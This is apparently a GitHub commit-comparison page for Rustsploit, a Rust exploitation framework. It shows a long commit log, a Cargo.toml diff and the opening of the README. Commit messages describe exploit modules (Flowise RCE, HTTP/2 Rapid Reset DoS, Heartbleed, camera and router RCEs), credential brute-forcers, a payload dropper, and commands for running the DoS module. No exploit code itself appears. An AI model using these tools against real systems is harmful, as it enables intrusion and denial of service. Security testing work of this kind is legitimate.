Compare commits

...

258 Commits

Author SHA1 Message Date
S.B 874d59a0f3 Delete src directory 2025-11-28 22:18:51 +02:00
S.B f21fab17b8 Update Cargo.toml 2025-11-24 14:05:49 +02:00
S.B fef7339690 Update changelog.md 2025-11-24 14:02:39 +02:00
S.B 4224c696cc Update Cargo.toml 2025-11-24 13:59:23 +02:00
S.B 8c96ee3628 Update changelog.md 2025-11-24 13:57:01 +02:00
S.B 4b63dd711e Add files via upload 2025-11-24 13:55:41 +02:00
S.B 0d81e0e6ed Delete src directory 2025-11-24 13:54:11 +02:00
S.B bae1a091e4 Update telnet_bruteforce.rs 2025-11-24 11:24:57 +02:00
S.B 7ae50993be Add files via upload 2025-11-24 11:23:46 +02:00
S.B 948d802a3b Create empty.txt 2025-11-24 11:23:25 +02:00
S.B cd6ffb9a9e Merge pull request #25 from s-b-repo/DEVORP2
Update Cargo.toml
2025-11-23 22:10:28 +02:00
S.B f8e5c0af46 Update Cargo.toml 2025-11-23 20:27:47 +02:00
S.B 5f75e369cc Merge pull request #24 from s-b-repo/konimta
Konimta
2025-11-20 14:32:19 +02:00
S.B 80a4a5843c Update changelog.md 2025-11-20 14:31:04 +02:00
S.B 1051216ddd Update telnet_bruteforce.rs 2025-11-20 14:28:15 +02:00
S.B 8eb8058ad6 Update README.md 2025-11-20 08:42:10 +02:00
S.B 63f8cac2ca Add files via upload 2025-11-20 08:38:40 +02:00
S.B 71bc20cee0 Merge pull request #23 from s-b-repo/tsinurao-mod-chip
Tsinurao mod chip
2025-11-20 08:36:18 +02:00
S.B 34b6faf140 Update changelog.md 2025-11-20 07:32:13 +02:00
S.B 7f359683da Update changelog.md 2025-11-20 07:31:23 +02:00
S.B 1bbe3ae651 Add files via upload 2025-11-20 07:30:42 +02:00
S.B 6100aa9964 Delete src directory 2025-11-20 07:23:20 +02:00
S.B 0e3da4499f Update README.md 2025-11-16 19:23:51 +02:00
S.B 55a30f91f0 Update README.md 2025-11-16 19:22:16 +02:00
S.B 33284b158a Update Cargo.toml 2025-11-16 19:20:41 +02:00
S.B 624090055c Update changelog.md 2025-11-16 19:19:28 +02:00
S.B f60e5e50ca Add files via upload 2025-11-16 19:18:48 +02:00
S.B 05f1a03dfc Delete src directory 2025-11-16 19:13:49 +02:00
S.B 6dc6d2ecfb Merge pull request #22 from s-b-repo/lots-o-fixes
Lots o fixes
2025-11-15 03:35:56 +02:00
S.B 60163b46e6 Update changelog.md 2025-11-15 03:34:21 +02:00
S.B f185052df1 Update Cargo.toml 2025-11-15 03:32:10 +02:00
S.B a4a466083f Add files via upload 2025-11-15 03:31:38 +02:00
S.B 1e285f95c7 Delete src directory 2025-11-15 03:29:15 +02:00
S.B 9ac7c7fce2 Merge pull request #21 from s-b-repo/dockerize
Dockerize
2025-11-14 15:24:46 +02:00
S.B 268f7cec4f Update README.md 2025-11-14 13:37:38 +02:00
S.B 64c10cde10 Update Cargo.toml 2025-11-14 13:36:22 +02:00
S.B e534341e82 Update changelog.md 2025-11-14 10:09:01 +02:00
S.B ed30bde3ee Update changelog.md 2025-11-14 10:08:20 +02:00
S.B f166b8ac51 Add files via upload 2025-11-14 10:07:31 +02:00
S.B 7e2a244fe5 Add files via upload 2025-11-14 10:06:55 +02:00
S.B 512c75ebf1 Delete src directory 2025-11-14 10:03:32 +02:00
S.B af7b2fc80f Update README.md 2025-11-13 09:58:18 +02:00
S.B 1cdebfead5 Update README.md 2025-11-13 09:57:09 +02:00
S.B 472238a883 Update changelog.md 2025-11-13 09:42:40 +02:00
S.B 408007fded Merge pull request #20 from s-b-repo/api-mode-build.rs-improvements-scanner-improvements
Api mode build.rs improvements scanner improvements
2025-11-13 09:42:08 +02:00
S.B 5cb4694bad Update Cargo.toml 2025-11-13 09:39:39 +02:00
S.B 28c9d27857 Add files via upload
panos module
Added improvements from the new version:
Better error handling with Context for more informative error messages
Enhanced file reading that filters empty lines and comments (lines starting with #)
Colored output:
Yellow for testing/info messages
Green for vulnerable findings
Red for errors/not vulnerable
Cyan for headers and vulnerable URLs
Better feedback messages showing what's being tested
Summary statistics showing vulnerable count for batch scans
Proper error propagation with ? operator


Flowise RCE Module (CVE-2025-59528)

Location: src/modules/exploits/flowise/cve_2025_59528_flowise_rce.rs
Status: Fully implemented
Has pub async fn run(target: &str) -> Result<()> signature
Registered in src/modules/exploits/flowise/mod.rs
Listed in src/modules/exploits/mod.rs

Features:

Banner display
Interactive prompts (email, password, command)
Login functionality
RCE execution via customMCP endpoint
Error handling with colored output
Cookie-based session management
401 retry logic

Framework Integration:

Auto-discovered by build script
Available as: flowise/cve_2025_59528_flowise_rce or cve_2025_59528_flowise_rce
HTTP/2 Rapid Reset DoS Module (CVE-2023-44487)
Location: src/modules/exploits/http2/cve_2023_44487_http2_rapid_reset.rs
Status: Fully implemented
Has pub async fn run(target: &str) -> Result<()> signature
Registered in src/modules/exploits/http2/mod.rs
Listed in src/modules/exploits/mod.rs

Features:

Banner display with legal disclaimer
Interactive prompts (port, SSL, streams, delay, baseline)
Baseline test functionality
Rapid reset attack implementation
Vulnerability analysis with risk assessment
IPv6 support
SSL/TLS support via tokio-rustls
Error handling with colored output

Framework Integration:

Auto-discovered by build script
Available as: http2/cve_2023_44487_http2_rapid_reset or cve_2023_44487_http2_rapid_reset

Dependencies Added:

h2 = "0.3" - HTTP/2 protocol implementation
tokio-rustls = "0.24" - Async TLS support
http = "1.0" - HTTP types


Implementation status
Module structure:
Exported in src/modules/exploits/http2/mod.rs
Auto-discovered by the build script (registered as http2/cve_2023_44487_http2_rapid_reset)
Core functions:
banner() — displays module banner
normalize_host() — handles IPv6 address formatting
baseline_test() — performs baseline HTTP/2 requests (SSL and non-SSL)
rapid_reset_test() — performs the rapid reset attack test (SSL and non-SSL)
run() — main entry point with interactive prompts
Features:
SSL/TLS support with proper certificate handling
Non-SSL support for plain HTTP/2
Baseline testing before the attack
Rapid stream creation and reset
Vulnerability analysis with risk assessment
Interactive configuration (port, SSL, streams, delay)
Legal disclaimer and permission check
Fixes applied:
Fixed http version conflict (0.2 to match h2)
Added bytes dependency
Fixed type inference for handshake calls
Fixed send_request API usage
Fixed send_reset return type handling
Removed unused mut keywords
Consistent TLS configuration
Code quality:
No linter errors
No warnings
Proper error handling
Clean code structure
The module is ready to use. You can run it via:
Interactive shell: run exploits/http2/cve_2023_44487_http2_rapid_reset <target>
Or the short form: run http2/cve_2023_44487_http2_rapid_reset <target>



Updated packages
All dependencies now use version ranges (e.g., "0.12" instead of "0.12.15"), allowing Cargo to fetch the latest patch versions.
Kept compatible versions for:
h2 = "0.3" (upgrading to 0.4 would require http 1.0+ and code changes)
http = "0.2" (required by h2 0.3)
tokio-rustls = "0.24" (compatible with current setup)
Updated to latest ranges:
reqwest = "0.12" (was 0.12.15)
tokio = "1.44" (was 1.44.2)
clap = "4.5" (was 4.5.35)
rustls = "0.23" (was 0.23.26)
bytes = "1.0" (was 1.0)
And all other packages



Improved http_title_scanner to be more robust and flexible:
Added interactive workflow: collects initial target, optional comma-separated list, and/or file-based target list.
Lets you choose whether to probe HTTP, HTTPS, or both; validates choices and prompts for timeout, verbosity, and optional report saving.
Uses a shared reqwest client with user-agent, redirect limit, and configurable timeout; extracts titles via an improved regex, sanitizes output, and captures status/timing details.
Handles errors gracefully, prints concise or verbose output, and writes an optional timestamped report (http_title_scan_YYYYMMDD_HHMMSS.txt) with per-target results.
Removed dead code and ensured no unwrap panics on network paths.


Added input validation and sanitization to the API:
New validation helpers:
sanitize_for_log: strips CR/LF/tab and truncates long values before logging
validate_api_key_format: length and ASCII checks
validate_module_name: allows only expected forms (exploits|scanners|creds/... with safe chars)
validate_target: basic length, printable ASCII, trimmed, and injection-safe checks
Applied protections:
Middleware now rejects malformed API keys early
run_module validates module and target before dispatch; logs use sanitized values
All log messages are passed through sanitize_for_log to avoid log injection
2025-11-13 09:38:57 +02:00
S.B de0ed82830 Delete src directory 2025-11-13 09:37:40 +02:00
S.B f4a554accf Update build.rs 2025-11-12 20:20:03 +02:00
S.B 2e046a4ced Remove assignment details from extra.txt
Removed specific assignment details for a Rust driver.
2025-11-12 20:18:48 +02:00
S.B fd5a180702 Refactor Cargo.toml to remove duplicates
Removed duplicate package information and cleaned up dependencies.
2025-11-12 20:17:37 +02:00
S.B 80903bfdc4 Update Cargo.toml with new dependencies
Added various dependencies for networking, exploitation, and utilities.
2025-11-12 20:17:17 +02:00
S.B 8df8849401 Update changelog.md 2025-11-12 20:16:17 +02:00
S.B b48de95cca Add files via upload 2025-11-12 20:15:32 +02:00
S.B 75c4a0fd71 Delete src directory 2025-11-12 20:14:10 +02:00
S.B 5975adce78 Merge pull request #19 from s-b-repo/livaetina-refomration
Livaetina refomration
2025-11-12 19:40:09 +02:00
S.B 1246b3f4b7 Revise README with updates and new module details
Updated README to enhance clarity and detail about Rustsploit's features, modules, and usage. Added new modules and improved documentation.
2025-11-12 18:35:05 +02:00
S.B b148f8ba14 Add files via upload 2025-11-12 18:31:45 +02:00
S.B d4dd665efd Add files via upload 2025-11-12 18:21:23 +02:00
S.B a5b6261101 Delete docs directory 2025-11-12 18:21:04 +02:00
S.B 06915cbc35 Add files via upload 2025-11-12 18:19:44 +02:00
S.B b9ace5a109 Delete lists directory 2025-11-12 18:19:20 +02:00
S.B 04f1e67758 Add files via upload 2025-11-12 18:18:49 +02:00
S.B 15a12d57e9 Delete src directory 2025-11-12 18:16:46 +02:00
S.B e49f55eb21 Update README.md 2025-11-09 03:05:57 +02:00
S.B 9865225e99 Bump version to 0.2.0 and update sysinfo
Updated package version and dependencies.
2025-11-09 03:03:04 +02:00
S.B 3b33e40727 Add files via upload 2025-11-09 03:01:14 +02:00
S.B 759f733650 Create test.txt 2025-11-09 03:00:23 +02:00
S.B 5873ba0d5a Delete src directory 2025-11-09 02:59:43 +02:00
S.B 3da254c19b Update README.md 2025-05-26 11:56:33 +02:00
S.B 986384f95c Update README.md 2025-05-26 11:52:51 +02:00
S.B 6e0679a162 Add files via upload 2025-05-26 11:51:44 +02:00
S.B 8855289c45 Delete lat.png 2025-05-26 11:51:01 +02:00
S.B 21c1240d61 Update README.md 2025-05-26 11:49:10 +02:00
S.B 2d0743ab3a Merge pull request #13 from s-b-repo/elons-musk-sniff-sniff
Elons musk sniff sniff
2025-05-26 11:46:14 +02:00
S.B 03fba5f883 Update port_scanner.rs 2025-05-26 11:45:07 +02:00
S.B aea5dc5952 Update narutto_dropper.rs 2025-05-26 11:43:27 +02:00
S.B 10cb64da04 Update mod.rs 2025-05-26 11:25:10 +02:00
S.B 51872dda9c Add files via upload 2025-05-26 11:23:33 +02:00
S.B dfdecaca39 Update Cargo.toml 2025-05-26 10:58:48 +02:00
S.B dcefdf961c Update mod.rs 2025-05-26 10:57:04 +02:00
S.B 8f22dfeb75 Update port_scanner.rs 2025-05-26 10:55:48 +02:00
S.B e6de81c538 Add files via upload 2025-05-26 10:48:59 +02:00
S.B 60e1dd3c6c Update extra.txt 2025-05-22 22:56:38 +02:00
S.B f4fd03923a Update opensshserver_9_8p1race_condition.rs 2025-05-22 22:55:51 +02:00
S.B 0aab4d3265 Update opensshserver_9_8p1race_condition.rs 2025-05-22 21:22:59 +02:00
S.B 31b47015e6 Update extra.txt 2025-05-22 21:21:43 +02:00
S.B 06acd0a837 Update README.md 2025-05-22 15:40:17 +02:00
S.B 6769d5756b Update README.md 2025-05-22 15:39:19 +02:00
S.B 8bf13d0d2c Update README.md 2025-05-22 15:38:25 +02:00
S.B 2baf1c700f Update mod.rs 2025-05-22 15:28:45 +02:00
S.B 6eba62971c Rename doc.md to readme.md 2025-05-22 15:25:36 +02:00
S.B fb52ae5440 Add files via upload 2025-05-22 15:25:03 +02:00
S.B 2a503e4a18 Rename about.txt to readme.md 2025-05-22 15:24:01 +02:00
S.B a859cff7ab Update narutto_dropper.rs 2025-05-22 15:23:10 +02:00
S.B a8f284051b Rename payloadgenbat.rs to narutto_dropper.rs 2025-05-22 15:22:56 +02:00
S.B a22b8cd3fe Update mod.rs 2025-05-22 15:21:52 +02:00
S.B 9ecb846f62 Rename about.md to readme.md 2025-05-22 15:20:39 +02:00
S.B 87558a0ddd Rename about.txt to about.md 2025-05-22 15:20:09 +02:00
S.B 2d49af6a24 Update mod.rs 2025-05-22 14:10:43 +02:00
S.B 220482758d Rename payloadgenbat.rs to narutto_dropper.rs 2025-05-22 14:09:53 +02:00
S.B f1f30511d4 Update smtp_bruteforce.rs 2025-05-22 09:19:08 +02:00
S.B 25401dcbc6 Update port_scanner.rs 2025-05-22 09:12:00 +02:00
S.B 5839e5b346 Update mod.rs 2025-05-21 19:59:30 +02:00
S.B c114f8e1fe Add files via upload 2025-05-21 19:59:01 +02:00
S.B 310d192bc2 Update rdp_bruteforce.rs 2025-05-21 14:34:19 +02:00
S.B 4f878b7d36 Update ssh_bruteforce.rs
added ssh improvement
2025-05-21 14:22:04 +02:00
S.B e03dfff879 Update ftp_bruteforce.rs 2025-05-18 05:33:10 +02:00
S.B 91bfd85323 Update README.md 2025-05-09 22:27:00 +02:00
S.B 2813f21988 Update mod.rs 2025-05-09 22:19:32 +02:00
S.B 08a2af4274 Add files via upload 2025-05-09 22:18:26 +02:00
S.B 3c65160cc3 Update mod.rs 2025-05-09 21:09:27 +02:00
S.B 3dcc51f388 Add files via upload 2025-05-09 21:08:43 +02:00
S.B 394c5eb426 Update Cargo.toml 2025-05-09 15:46:55 +02:00
S.B f8bd0c2fc6 Update mod.rs 2025-05-09 15:35:38 +02:00
S.B 02e3450ea7 Add files via upload 2025-05-09 15:34:37 +02:00
S.B a0e56948d3 Update mod.rs 2025-05-09 11:46:37 +02:00
S.B 2c6e4bfb43 Add files via upload 2025-05-09 11:44:53 +02:00
S.B dd8f28130a Update zte_zxv10_h201l_rce_authenticationbypass.rs 2025-05-09 11:36:43 +02:00
S.B 054be52ba4 Update Cargo.toml 2025-05-08 16:55:56 +02:00
S.B 359ed806ba Add files via upload 2025-05-08 16:53:47 +02:00
S.B 918d83210c Update mod.rs 2025-05-08 16:52:44 +02:00
S.B bf06138630 Add files via upload 2025-05-08 16:52:10 +02:00
S.B 334f24092f Delete src/modules/exploits/router directory 2025-05-08 16:51:24 +02:00
S.B 878bad38eb Update Cargo.toml 2025-05-08 16:02:28 +02:00
S.B b7df70055d Update README.md 2025-05-08 14:55:57 +02:00
S.B b8998d0633 Merge pull request #12 from Giteeajake/main
Update Cargo.toml
2025-05-06 17:14:55 +02:00
Giteeajake 123918d3bf Update Cargo.toml 2025-05-06 10:09:29 +08:00
Giteeajake f445d52c28 Update Cargo.toml 2025-05-06 10:03:56 +08:00
S.B f2bd0ae5a1 Merge pull request #10 from s-b-repo/dev
Dev
2025-05-04 18:03:42 +02:00
S.B 494d6d265d Update Cargo.toml 2025-05-04 17:32:22 +02:00
S.B bb28d1bf30 Update mod.rs 2025-05-04 17:09:45 +02:00
S.B 5a72376a3f Add files via upload 2025-05-04 17:09:03 +02:00
S.B 5cbbbe2343 Update README.md 2025-05-04 17:07:10 +02:00
S.B 96b11ddf0c Update mod.rs 2025-05-04 16:50:00 +02:00
S.B 061176904c Delete src/modules/exploits/camera directory 2025-05-04 16:49:41 +02:00
S.B de9732f7de Add files via upload 2025-05-04 16:49:06 +02:00
S.B bfc094784a Add files via upload 2025-05-04 16:48:33 +02:00
S.B c8eca30789 Add files via upload 2025-05-04 16:48:09 +02:00
S.B eda2802f9b Update README.md 2025-05-04 16:26:59 +02:00
S.B 83161d7f70 Update Cargo.toml 2025-05-04 16:00:35 +02:00
S.B 45a3d49c2f Update cve_2024_7029_avtech_camera.rs 2025-05-04 15:58:57 +02:00
S.B 0b9e470e3d Update mod.rs 2025-05-04 15:44:48 +02:00
S.B bb9ce994b5 Add files via upload 2025-05-04 15:43:50 +02:00
S.B bbbaa69761 Delete src/modules/exploits/payloadgens/gpgenbat.rs 2025-05-04 15:43:13 +02:00
S.B 4625f7d31e Update mod.rs 2025-04-28 07:16:25 +02:00
S.B 900d73ea0b Add files via upload 2025-04-28 07:15:57 +02:00
S.B d1d12cb165 Update mod.rs 2025-04-28 06:47:00 +02:00
S.B 4112a71af2 Add files via upload 2025-04-28 06:46:25 +02:00
S.B 6a3eb5ce44 Update README.md 2025-04-26 01:08:03 +02:00
S.B aa21d50cb9 Merge pull request #8 from s-b-repo/ipv6-patch
Ipv6 patch
2025-04-26 00:37:21 +02:00
S.B 8250c927a4 Update mod.rs 2025-04-26 00:37:04 +02:00
S.B 626aa3f084 Update acti_camera_default.rs 2025-04-26 00:35:15 +02:00
S.B 88427e4bc8 Update extra.txt 2025-04-26 00:33:28 +02:00
S.B 38575855d5 Update Cargo.toml 2025-04-26 00:32:48 +02:00
S.B 5130128663 Update mod.rs 2025-04-26 00:30:26 +02:00
S.B 8aff83df06 Add files via upload 2025-04-26 00:29:58 +02:00
S.B f5f09f3309 Update ftp_bruteforce.rs 2025-04-26 00:29:28 +02:00
S.B e5a70c2def Update acti_camera_default.rs 2025-04-25 23:30:02 +02:00
S.B 2a29276bda Update opensshserver_9_8p1race_condition.rs 2025-04-25 23:25:02 +02:00
S.B d25b58acbf Update port_scanner.rs 2025-04-25 21:39:30 +02:00
S.B 7667872198 Update ssdp_msearch.rs 2025-04-25 21:39:13 +02:00
S.B e85a99ce0e Update tplink_wr740n_dos.rs 2025-04-25 21:29:31 +02:00
S.B d48c946a4b Update tp_link_vn020_dos.rs 2025-04-25 21:23:52 +02:00
S.B 13c23523cc Update batgen.rs 2025-04-25 21:15:05 +02:00
S.B d64ccf34e5 Update mod.rs 2025-04-25 21:13:26 +02:00
S.B 681751e59a Add files via upload 2025-04-25 21:12:42 +02:00
S.B 08e1b55da5 Update mod.rs 2025-04-25 16:23:22 +02:00
S.B 638559356f Create batgen.rs 2025-04-25 16:22:52 +02:00
S.B 6a9b5354b4 Update payloadgenbat.rs 2025-04-25 15:46:44 +02:00
S.B 3b16120d5b Update heartbleed.rs 2025-04-25 15:38:30 +02:00
S.B ee5d3e11c2 Update uniview_nvr_pwd_disclosure.rs 2025-04-25 15:31:14 +02:00
S.B 6f61853c5f Update abussecurity_camera_cve202326609variant2.rs 2025-04-25 15:25:10 +02:00
S.B e04e09eb64 Update abussecurity_camera_cve202326609variant1.rs 2025-04-25 15:18:05 +02:00
S.B 01b3e5e8d2 Update rdp_bruteforce.rs 2025-04-25 15:00:57 +02:00
S.B d531723c4d Update rtsp_bruteforce_advanced.rs 2025-04-25 14:58:08 +02:00
S.B b2ee6300b2 Update ssh_bruteforce.rs 2025-04-25 14:45:13 +02:00
S.B 518c3b2c75 Update telnet_bruteforce.rs 2025-04-25 12:44:56 +02:00
S.B ec963c0a0f Update README.md 2025-04-25 12:13:55 +02:00
S.B faebb28a55 Update ssh_bruteforce.rs 2025-04-25 12:13:03 +02:00
S.B ad2e959fdb Update rtsp_bruteforce_advanced.rs 2025-04-25 11:52:53 +02:00
S.B a71ff971d2 Update mod.rs 2025-04-25 11:27:58 +02:00
S.B b5d7e1314b Add files via upload 2025-04-25 11:27:32 +02:00
S.B c8c5730044 Update README.md 2025-04-25 11:25:19 +02:00
S.B 4be9fffd36 Update README.md 2025-04-24 21:53:19 +02:00
S.B 8be8d814b2 Update README.md 2025-04-24 21:39:03 +02:00
S.B 6e4c2a142e Update ftp_anonymous.rs 2025-04-24 21:37:52 +02:00
S.B 4aeb23a340 Update Cargo.toml 2025-04-24 21:23:14 +02:00
S.B af53756b78 Update ftp_bruteforce.rs 2025-04-24 21:22:22 +02:00
S.B 8e182b2530 Update utils.rs 2025-04-24 21:20:52 +02:00
S.B ffabcfa277 Update mod.rs 2025-04-24 21:20:30 +02:00
S.B 101f201b30 Merge pull request #7 from s-b-repo/devs-uwu
Devs uwu
2025-04-24 16:55:48 +02:00
S.B 903dcd896d Update Cargo.toml 2025-04-24 16:54:52 +02:00
S.B d823a1760a Update README.md 2025-04-24 16:52:54 +02:00
S.B e7c1de9ab6 Update mod.rs 2025-04-24 16:38:46 +02:00
S.B e34fda4904 Add files via upload 2025-04-24 16:35:33 +02:00
S.B 5f8a3fcd4e Update Cargo.toml 2025-04-23 22:54:50 +02:00
S.B 6a3014cb2d Update opensshserver_9_8p1race_condition.rs 2025-04-23 22:53:21 +02:00
S.B 02e8bf4476 Update README.md 2025-04-23 22:46:46 +02:00
S.B ca6f3cf2ff Update README.md 2025-04-23 22:46:23 +02:00
S.B 14b350e1cc Update README.md 2025-04-23 22:45:53 +02:00
S.B b586f03cb6 Update mod.rs 2025-04-23 22:41:40 +02:00
S.B cbe0768fe3 Add files via upload 2025-04-23 22:40:58 +02:00
S.B c6fbdceb41 Update README.md 2025-04-23 21:20:10 +02:00
S.B 0a431b1431 Update mod.rs 2025-04-23 21:14:12 +02:00
S.B d8afcbd257 Add files via upload 2025-04-23 21:13:32 +02:00
S.B 8af374401e Delete src/modules/exploits/router/tp_link_vn020.rs 2025-04-23 21:13:11 +02:00
S.B dea86bd358 Update README.md 2025-04-23 20:31:17 +02:00
S.B d13408d5cc Update Cargo.toml 2025-04-23 20:19:34 +02:00
S.B 2b867f7550 Update mod.rs 2025-04-23 20:17:11 +02:00
S.B 5c5171f8d7 Add files via upload 2025-04-23 20:16:37 +02:00
S.B d1ceae6304 Update mod.rs 2025-04-23 20:15:45 +02:00
S.B 3bd0262554 Add files via upload 2025-04-23 20:15:16 +02:00
S.B fe9e8bb0bd Update extra.txt 2025-04-23 15:55:54 +02:00
S.B 67c5b8651e Update extra.txt 2025-04-23 15:50:50 +02:00
S.B 9c33ecc8c8 Update extra.txt 2025-04-23 15:50:22 +02:00
S.B 4c8e968bb9 Create extra.txt 2025-04-23 15:49:45 +02:00
S.B 5c66d123d8 Update README.md 2025-04-23 14:10:40 +02:00
S.B 0369126960 Update heartbleed.rs 2025-04-23 14:08:32 +02:00
S.B 5b951c7187 Update port_scanner.rs 2025-04-23 14:07:19 +02:00
S.B 127bc9d20a Update README.md 2025-04-23 14:04:25 +02:00
S.B f2b71a4981 Update README.md 2025-04-23 14:03:45 +02:00
S.B 7475c22b65 Update exploit.rs 2025-04-23 14:02:51 +02:00
S.B f41fc58462 Update creds.rs 2025-04-23 14:02:18 +02:00
S.B 891801514b Update scanner.rs 2025-04-23 14:02:03 +02:00
S.B c9d650933a Update mod.rs 2025-04-23 14:01:45 +02:00
S.B 8080cca173 Add files via upload 2025-04-23 14:00:34 +02:00
S.B 431dfb53a3 Update Cargo.toml 2025-04-23 13:59:47 +02:00
S.B c02a58f6e6 Add files via upload 2025-04-23 13:39:23 +02:00
S.B b82685b214 Update README.md 2025-04-23 13:38:14 +02:00
S.B edb23f54b1 Update README.md 2025-04-23 13:37:46 +02:00
S.B b7a0274944 Update doc.md 2025-04-23 13:36:47 +02:00
S.B af71c827c7 Update doc.md 2025-04-23 13:31:58 +02:00
S.B 2d9989e735 Update doc.md 2025-04-23 13:23:57 +02:00
S.B 8920be99ca Merge pull request #5 from s-b-repo/dev-weekly
Update README.md
2025-04-22 16:03:13 +02:00
S.B 075a898fd7 Update README.md 2025-04-22 16:01:15 +02:00
S.B 0e6fb4fa3c Update README.md 2025-04-22 16:00:28 +02:00
S.B e1ac588ee4 Merge pull request #4 from s-b-repo/dev-weekly
Dev weekly
2025-04-22 15:59:15 +02:00
S.B cf4307c2b7 Update README.md 2025-04-22 14:32:25 +02:00
S.B 160090cb21 Update Cargo.toml 2025-04-22 14:27:01 +02:00
S.B f142be2b2e Update exploit.rs 2025-04-22 14:22:53 +02:00
S.B 6464b95054 Update mod.rs 2025-04-22 14:21:22 +02:00
S.B da379c3d39 Add files via upload 2025-04-22 14:20:26 +02:00
S.B fed1fc37d6 Add files via upload 2025-04-22 08:48:22 +02:00
S.B ea08e77109 Update shell.rs 2025-04-22 08:45:48 +02:00
S.B 017e4907c5 Delete Screenshot_20250416_111212.png 2025-04-22 08:43:26 +02:00
S.B 06bc6134a7 Delete Screenshot_20250409_010733.png 2025-04-22 08:43:08 +02:00
S.B f29199e2e1 Update README.md 2025-04-22 08:38:56 +02:00
S.B ef1f44fc23 Update utils.rs 2025-04-22 08:36:09 +02:00
S.B ddabd9dcbc Update shell.rs 2025-04-22 08:35:33 +02:00
S.B 61d0a7ef3c Update Cargo.toml 2025-04-22 07:43:04 +02:00
S.B e6d5a85153 Update exploit.rs 2025-04-21 16:42:01 +02:00
S.B d90f88ab91 Add files via upload 2025-04-21 16:41:08 +02:00
S.B b4a91be121 Create mod.rs 2025-04-21 16:38:32 +02:00
S.B 9694801619 Update scanner.rs 2025-04-21 15:26:27 +02:00
S.B 5313ae76f4 Update mod.rs 2025-04-21 15:25:26 +02:00
S.B bbbab50420 Add files via upload 2025-04-21 15:24:27 +02:00
S.B 66256975ee Update README.md 2025-04-20 21:46:31 +02:00
43 changed files with 3858 additions and 2631 deletions
+107 -39
View File
@@ -1,46 +1,114 @@
[package]
name = "rustsploit"
version = "0.1.0"
version = "0.3.5"
edition = "2021"
[dependencies]
# For HTTP requests
reqwest = { version = "0.12.15", features = ["json", "socks"] }
#proxy manager
rand = "0.9.0"
# For CLI parsing
clap = { version = "4.5.35", features = ["derive"] }
# Async runtime for networking
tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread"] }
# Easier error handling
anyhow = "1.0.97"
#teminal color
colored = "3.0.0"
rustyline = "15.0.0"
#ftp brute force module
async_ftp = "6.0.0"
tokio-socks = "0.5.2"
#telnet
threadpool = "1.8.1"
crossbeam-channel = "0.5.15"
telnet = "0.2.3"
walkdir = "2.5.0"
#ssh
ssh2 = "0.9.5"
# rstp brute forcing
base64 = "0.22.1"
build = "build.rs"
[[bin]]
name = "rustsploit"
path = "src/main.rs"
[dependencies]
# Core / General
anyhow = "1.0"
colored = "3.0" # newer than 2.0
rand = "0.9"
rustyline = "15.0"
sysinfo = { version = "0.36", features = ["multithread"] }
# CLI & Async runtime
clap = { version = "4.5", features = ["derive"] }
tokio = { version = "1.44", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
# HTTP & Web
reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
h2 = "0.3"
http = "0.2"
bytes = "1.0"
tokio-rustls = "0.24"
url = "2.5"
quick-xml = "0.37"
data-encoding = "2.5"
semver = "1.0"
# Crypto & Encoding
aes = "0.8"
cipher = "0.4"
md5 = "0.7"
sha2 = "0.10"
hex = "0.4"
flate2 = "1.0"
base64 = "0.22"
# Networking & Protocols
tokio-socks = "0.5"
socket2 = { version = "0.5", features = ["all"] }
pnet_packet = "0.34"
ipnet = "2.11"
ipnetwork = "0.20"
regex = "1.11" # newest listed
which = "8.0"
# FTP
async_ftp = "6.0"
suppaftp = { version = "6.3", features = ["async", "async-native-tls", "native-tls"] }
native-tls = "0.2"
rustls = "0.23"
webpki-roots = "0.26"
# Telnet
threadpool = "1.8"
crossbeam-channel = "0.5"
telnet = "0.2"
async-stream = "0.3.6"
# SSH
ssh2 = "0.9"
libc = "0.2"
# RDP - removed unused dependency (module uses external xfreerdp/rdesktop commands)
# rdp = "0.12"
# Walkdir (used by telnet module)
walkdir = "2.5"
# WebSocket (Spotube exploit)
tokio-tungstenite = "0.26"
# Futures
futures = "0.3"
futures-util = "0.3"
# JSON & Serialization
serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0"
chrono = { version = "0.4", features = ["serde"] }
# API Server (Axum)
axum = "0.7"
tower = "0.5"
tower-http = { version = "0.6", features = ["cors", "trace"] }
uuid = { version = "1.10", features = ["v4"] }
# DNS
hickory-client = { version = "0.24", features = ["dnssec"] }
hickory-proto = "0.24"
# Misc utilities
once_cell = "1.19"
home = "=0.5.11" # pinned for edition 2021 compatibility
[build-dependencies]
regex = "1.11"
# Dependency overrides to address security warnings in transitive dependencies
# Note: These are warnings (not vulnerabilities) in transitive dependencies
# async-std warning: suppaftp uses async-std internally - waiting for upstream fix
# The other warnings (atomic-polyfill, atty) are resolved by removing unused rdp dependency
[profile.release]
opt-level = 3
lto = "fat"
codegen-units = 1
panic = "abort"
strip = true
+402 -80
View File
@@ -1,112 +1,434 @@
---
# Rustsploit 🛠️
A Rust-based modular exploitation framework inspired by RouterSploit. This tool allows for running modules such as exploits, scanners, and credential checkers against embedded devices like routers.
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, rich proxy support, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
![Screenshot](https://github.com/s-b-repo/r-routersploit/raw/main/Screenshot_20250416_111212.png)
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/preview.png)
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/testing.png)
- 📚 **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
- 💬 **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
- 🌐 **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
- 🧱 **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
---
### Goals & To Do lists
## Table of Contents
1. [Highlights](#highlights)
2. [Module Catalog](#module-catalog)
3. [Quick Start](#quick-start)
4. [Docker Deployment](#docker-deployment)
5. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
6. [CLI Usage](#cli-usage)
7. [API Server Mode](#api-server-mode)
8. [Proxy Workflow](#proxy-workflow)
9. [How Modules Are Discovered](#how-modules-are-discovered)
10. [Contributing](#contributing)
11. [Credits](#credits)
convert exploits and add modules
---
## Highlights
# completed
```
created docs
